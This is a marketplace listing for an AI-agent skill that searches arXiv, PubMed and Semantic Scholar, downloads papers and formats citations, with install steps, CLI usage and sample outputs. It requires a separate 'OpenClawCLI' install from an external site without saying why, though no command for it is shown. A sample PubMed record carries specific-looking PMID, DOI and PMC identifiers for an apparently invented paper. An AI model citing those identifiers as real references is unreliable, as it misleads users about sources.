academic-research-hubUse this skill when users need to search academic papers, download research documents, extract citations, or gather scholarly information. Triggers include: requests to "find papers on", "search research about", "download academic articles", "get citations for", or any request involving academic databases like arXiv, PubMed, Semantic Scholar, or Google Scholar. Also use for literature reviews, bibliography generation, and research discovery. Requires OpenClawCLI installation from clawhub.ai.
Install via ClawdBot CLI:
clawdbot install anisafifi/academic-research-hubSearch and retrieve academic papers from multiple sources including arXiv, PubMed, Semantic Scholar, and more. Download PDFs, extract citations, generate bibliographies, and build literature reviews.
⚠️ Prerequisite: Install OpenClawCLI (Windows, MacOS)
Installation Best Practices:
# Standard installation
pip install arxiv scholarly pubmed-parser semanticscholar requests
# If you encounter permission errors, use a virtual environment
python -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
pip install arxiv scholarly pubmed-parser semanticscholar requestsNever use --break-system-packages as it can damage your system's Python installation.
| Task | Command |
|------|---------|
| Search arXiv | python scripts/research.py arxiv "quantum computing" |
| Search PubMed | python scripts/research.py pubmed "covid vaccine" |
| Search Semantic Scholar | python scripts/research.py semantic "machine learning" |
| Download papers | python scripts/research.py arxiv "topic" --download |
| Get citations | python scripts/research.py arxiv "topic" --citations |
| Generate bibliography | python scripts/research.py arxiv "topic" --format bibtex |
| Save results | python scripts/research.py arxiv "topic" --output results.json |
Search across multiple academic databases from a single interface.
Supported Sources:
Download full-text PDFs when available.
python scripts/research.py arxiv "deep learning" --download --output-dir papers/Extract and format citations from papers.
Supported formats:
Get comprehensive metadata for each paper:
Search the arXiv repository for preprints.
# Basic search
python scripts/research.py arxiv "quantum computing"
# Filter by category
python scripts/research.py arxiv "neural networks" --category cs.LG
# Filter by date
python scripts/research.py arxiv "transformers" --year 2023
# Download papers
python scripts/research.py arxiv "attention mechanism" --download --max-results 10Available categories:
cs.AI - Artificial Intelligencecs.LG - Machine Learningcs.CV - Computer Visioncs.CL - Computation and Languagemath.CO - Combinatoricsphysics.optics - Opticsq-bio.GN - GenomicsOutput:
1. Attention Is All You Need
Authors: Vaswani et al.
Published: 2017-06-12
arXiv ID: 1706.03762
Categories: cs.CL, cs.LG
Abstract: The dominant sequence transduction models...
PDF: http://arxiv.org/pdf/1706.03762v5Search biomedical literature indexed in PubMed.
# Basic search
python scripts/research.py pubmed "cancer immunotherapy"
# Filter by date range
python scripts/research.py pubmed "CRISPR" --start-date 2023-01-01 --end-date 2023-12-31
# Filter by publication type
python scripts/research.py pubmed "covid vaccine" --publication-type "Clinical Trial"
# Get full text links
python scripts/research.py pubmed "gene therapy" --full-textPublication types:
Output:
1. mRNA vaccine effectiveness against COVID-19
Authors: Smith J, Jones K, et al.
Journal: New England Journal of Medicine
Published: 2023-03-15
PMID: 36913851
DOI: 10.1056/NEJMoa2301234
Abstract: Background: mRNA vaccines have shown...
Full Text: https://www.ncbi.nlm.nih.gov/pmc/articles/PMC9876543/Search computer science and interdisciplinary research.
# Basic search
python scripts/research.py semantic "reinforcement learning"
# Filter by year
python scripts/research.py semantic "graph neural networks" --year 2022
# Get highly cited papers
python scripts/research.py semantic "transformers" --min-citations 100
# Include references
python scripts/research.py semantic "BERT" --include-referencesOutput includes:
Output:
1. BERT: Pre-training of Deep Bidirectional Transformers
Authors: Devlin J, Chang MW, Lee K, Toutanova K
Published: 2019
Paper ID: df2b0e26d0599ce3e70df8a9da02e51594e0e992
Citations: 15000+
Influential Citations: 2000+
Fields: Computer Science, Linguistics
Abstract: We introduce a new language representation model...
PDF: https://arxiv.org/pdf/1810.04805.pdfControl the number of results returned.
--max-results N # Default: 10, range: 1-100Examples:
python scripts/research.py arxiv "machine learning" --max-results 5
python scripts/research.py pubmed "diabetes" --max-results 50Choose how results are formatted.
--format <text|json|bibtex|ris|markdown>Text - Human-readable format (default)
python scripts/research.py arxiv "quantum" --format textJSON - Structured data for processing
python scripts/research.py arxiv "quantum" --format jsonBibTeX - For LaTeX documents
python scripts/research.py arxiv "quantum" --format bibtexRIS - For reference managers (Zotero, Mendeley)
python scripts/research.py arxiv "quantum" --format risMarkdown - For documentation
python scripts/research.py arxiv "quantum" --format markdownSave results to a file.
--output <filepath>Examples:
python scripts/research.py arxiv "AI" --output results.txt
python scripts/research.py pubmed "cancer" --format json --output papers.json
python scripts/research.py semantic "NLP" --format bibtex --output references.bibDownload full-text PDFs when available.
--download
--output-dir <directory> # Where to save PDFs (default: downloads/)Examples:
# Download to default directory
python scripts/research.py arxiv "deep learning" --download --max-results 5
# Download to specific directory
python scripts/research.py arxiv "transformers" --download --output-dir papers/nlp/Extract citations from papers.
--citations # Extract citations
--citation-format <format> # bibtex, ris, json (default: bibtex)Example:
python scripts/research.py arxiv "attention mechanism" --citations --citation-format bibtex --output citations.bibFilter by publication date.
arXiv:
--year <YYYY> # Specific year
--start-date <YYYY-MM-DD>
--end-date <YYYY-MM-DD>PubMed:
--start-date <YYYY-MM-DD>
--end-date <YYYY-MM-DD>Examples:
python scripts/research.py arxiv "quantum" --year 2023
python scripts/research.py pubmed "vaccine" --start-date 2022-01-01 --end-date 2023-12-31Search for papers by specific authors.
--author "Last, First"Examples:
python scripts/research.py arxiv "neural networks" --author "Hinton, Geoffrey"
python scripts/research.py semantic "deep learning" --author "Bengio, Yoshua"Sort results by different criteria.
--sort-by <relevance|date|citations>Examples:
python scripts/research.py arxiv "machine learning" --sort-by date
python scripts/research.py semantic "NLP" --sort-by citationsGather papers on a topic for a literature review.
# Step 1: Search multiple sources
python scripts/research.py arxiv "graph neural networks" --max-results 20 --format json --output arxiv_gnn.json
python scripts/research.py semantic "graph neural networks" --max-results 20 --format json --output semantic_gnn.json
# Step 2: Download key papers
python scripts/research.py arxiv "graph neural networks" --download --max-results 10 --output-dir papers/gnn/
# Step 3: Generate bibliography
python scripts/research.py arxiv "graph neural networks" --max-results 20 --format bibtex --output gnn_references.bibTrack the latest papers in a field.
# Last year's papers
python scripts/research.py arxiv "large language models" --year 2023 --sort-by date --max-results 30
# Last month's biomedical papers
python scripts/research.py pubmed "gene therapy" --start-date 2023-11-01 --end-date 2023-11-30 --format markdown --output recent_gene_therapy.mdFind influential papers in a field.
python scripts/research.py semantic "reinforcement learning" --min-citations 500 --sort-by citations --max-results 25Track an author's work.
python scripts/research.py arxiv "deep learning" --author "LeCun, Yann" --sort-by date --max-results 50 --output lecun_papers.jsonCreate a comprehensive reference collection.
# Create directory structure
mkdir -p references/{papers,citations}
# Search and download papers
python scripts/research.py arxiv "transformers NLP" --download --max-results 15 --output-dir references/papers/
# Generate citations
python scripts/research.py arxiv "transformers NLP" --max-results 15 --format bibtex --output references/citations/transformers.bibVerify findings across multiple databases.
# Search same topic across sources
python scripts/research.py arxiv "federated learning" --max-results 10 --output arxiv_fl.txt
python scripts/research.py semantic "federated learning" --max-results 10 --output semantic_fl.txt
python scripts/research.py pubmed "federated learning" --max-results 10 --output pubmed_fl.txt
# Compare results
diff arxiv_fl.txt semantic_fl.txtSearch Results: 3 papers found
1. Attention Is All You Need
Authors: Vaswani, Ashish; Shazeer, Noam; Parmar, Niki; et al.
Published: 2017-06-12
arXiv ID: 1706.03762
Categories: cs.CL, cs.LG
Abstract: The dominant sequence transduction models are based on complex recurrent or convolutional neural networks...
PDF: http://arxiv.org/pdf/1706.03762v5
2. BERT: Pre-training of Deep Bidirectional Transformers
Authors: Devlin, Jacob; Chang, Ming-Wei; Lee, Kenton; Toutanova, Kristina
Published: 2018-10-11
arXiv ID: 1810.04805
Categories: cs.CL
Abstract: We introduce a new language representation model called BERT...
PDF: http://arxiv.org/pdf/1810.04805v2[
{
"title": "Attention Is All You Need",
"authors": ["Vaswani, Ashish", "Shazeer, Noam", "Parmar, Niki"],
"published": "2017-06-12",
"arxiv_id": "1706.03762",
"categories": ["cs.CL", "cs.LG"],
"abstract": "The dominant sequence transduction models...",
"pdf_url": "http://arxiv.org/pdf/1706.03762v5",
"doi": "10.48550/arXiv.1706.03762"
}
]@article{vaswani2017attention,
title={Attention Is All You Need},
author={Vaswani, Ashish and Shazeer, Noam and Parmar, Niki and Uszkoreit, Jakob and Jones, Llion and Gomez, Aidan N and Kaiser, {\L}ukasz and Polosukhin, Illia},
journal={arXiv preprint arXiv:1706.03762},
year={2017},
url={http://arxiv.org/abs/1706.03762}
}TY - JOUR
TI - Attention Is All You Need
AU - Vaswani, Ashish
AU - Shazeer, Noam
AU - Parmar, Niki
PY - 2017
DA - 2017/06/12
JO - arXiv preprint
VL - arXiv:1706.03762
UR - http://arxiv.org/abs/1706.03762
ER -# Search Results: 3 papers found
## 1. Attention Is All You Need
**Authors:** Vaswani, Ashish; Shazeer, Noam; Parmar, Niki; et al.
**Published:** 2017-06-12
**arXiv ID:** 1706.03762
**Categories:** cs.CL, cs.LG
**Abstract:** The dominant sequence transduction models are based on complex recurrent or convolutional neural networks...
**PDF:** [Download](http://arxiv.org/pdf/1706.03762v5)--output to preserve results"Missing required dependency"
# Install all dependencies
pip install arxiv scholarly pubmed-parser semanticscholar requests
# Or use virtual environment
python -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
pip install arxiv scholarly pubmed-parser semanticscholar requests"OpenClawCLI not found"
"No results found"
"Rate limit exceeded"
--max-results value"Download failed"
"API timeout"
"Invalid API response"
python scripts/research.py <source> "<query>" [OPTIONS]
SOURCES:
arxiv Search arXiv repository
pubmed Search PubMed database
semantic Search Semantic Scholar
REQUIRED:
query Search query string (in quotes)
GENERAL OPTIONS:
-n, --max-results Maximum results (default: 10, max: 100)
-f, --format Output format (text|json|bibtex|ris|markdown)
-o, --output Save to file path
--sort-by Sort by (relevance|date|citations)
FILTERING:
--year Filter by specific year (YYYY)
--start-date Start date (YYYY-MM-DD)
--end-date End date (YYYY-MM-DD)
--author Author name
--min-citations Minimum citation count
ARXIV-SPECIFIC:
--category arXiv category (e.g., cs.AI, cs.LG)
PUBMED-SPECIFIC:
--publication-type Publication type filter
--full-text Include full text links
SEMANTIC-SPECIFIC:
--include-references Include paper references
DOWNLOAD:
--download Download paper PDFs
--output-dir Download directory (default: downloads/)
CITATIONS:
--citations Extract citations
--citation-format Citation format (bibtex|ris|json)
HELP:
--help Show all options# Find recent papers
python scripts/research.py arxiv "quantum computing"
# Search biomedical literature
python scripts/research.py pubmed "alzheimer disease"# Search multiple sources
python scripts/research.py arxiv "neural networks" --max-results 30 --output arxiv.json
python scripts/research.py semantic "neural networks" --max-results 30 --output semantic.json
# Download important papers
python scripts/research.py arxiv "neural networks" --download --max-results 10# Generate BibTeX
python scripts/research.py arxiv "deep learning" --format bibtex --output dl_refs.bib
# Export to reference manager
python scripts/research.py pubmed "gene editing" --format ris --output genes.ris# This month's papers
python scripts/research.py arxiv "LLM" --start-date 2024-01-01 --sort-by date
# Recent highly-cited work
python scripts/research.py semantic "transformers" --year 2023 --min-citations 50For issues or questions:
python scripts/research.py --helpResources:
Generated Mar 1, 2026
Academic researchers and graduate students can use this skill to quickly gather literature for literature reviews or thesis work. It automates searching across arXiv and PubMed, downloading relevant papers, and generating formatted bibliographies, saving hours of manual work.
R&D teams in biotechnology companies can employ this skill to stay updated on the latest studies in fields like genomics or drug development. By setting up automated searches on PubMed with date filters, they can track new clinical trials and research findings efficiently.
Startups in artificial intelligence can leverage this skill to analyze trends and competitors by searching arXiv and Semantic Scholar for papers on specific topics like transformers or reinforcement learning. It helps in identifying key innovations and building a knowledge base for product development.
Publishers and journal editors can use this skill to verify citations and gather metadata for submitted manuscripts. By extracting citations from papers and formatting them in BibTeX or RIS, it streamlines the peer-review and publication process.
Offer the skill as a cloud-based service with tiered subscriptions for individuals, universities, and corporations. Revenue comes from monthly or annual fees, with higher tiers providing advanced features like API access or priority support.
Sell custom licenses to large organizations such as pharmaceutical companies or research institutions. This includes tailored integrations, dedicated support, and compliance with specific data security requirements, generating high-value contracts.
Provide a free basic version for casual users, with paid upgrades for advanced capabilities like bulk downloads, enhanced citation extraction, or integration with other research tools. Monetize through in-app purchases or premium plans.
đź’¬ Integration Tip
Ensure OpenClawCLI is installed and Python dependencies are managed in a virtual environment to avoid system conflicts, as per the skill's prerequisites.
Search, download, and summarize academic papers from arXiv. Built for AI/ML researchers.
Search and summarize papers from ArXiv. Use when the user asks for the latest research, specific topics on ArXiv, or a daily summary of AI papers.
Assistance with writing literature reviews by searching for academic sources via Semantic Scholar, OpenAlex, Crossref and PubMed APIs. Use when the user needs to find papers on a topic, get details for specific DOIs, or draft sections of a literature review with proper citations.
Baidu Scholar Search - Search Chinese and English academic literature (journals, conferences, papers, etc.)
Outcome-driven scientific publishing for AI agents. Publish research papers, hypotheses, and experiments with validated artifacts, structured claims, milestone tracking, and independent replications. Claim replication bounties, submit peer reviews, and collaborate with other AI researchers.
Find and compile academic literature with citation lists across Google Scholar, PubMed, arXiv, IEEE, ACM, Semantic Scholar, Scopus, and Web of Science. Use for requests like “find related literature,” “related work,” “citation list,” or “key papers on a topic.”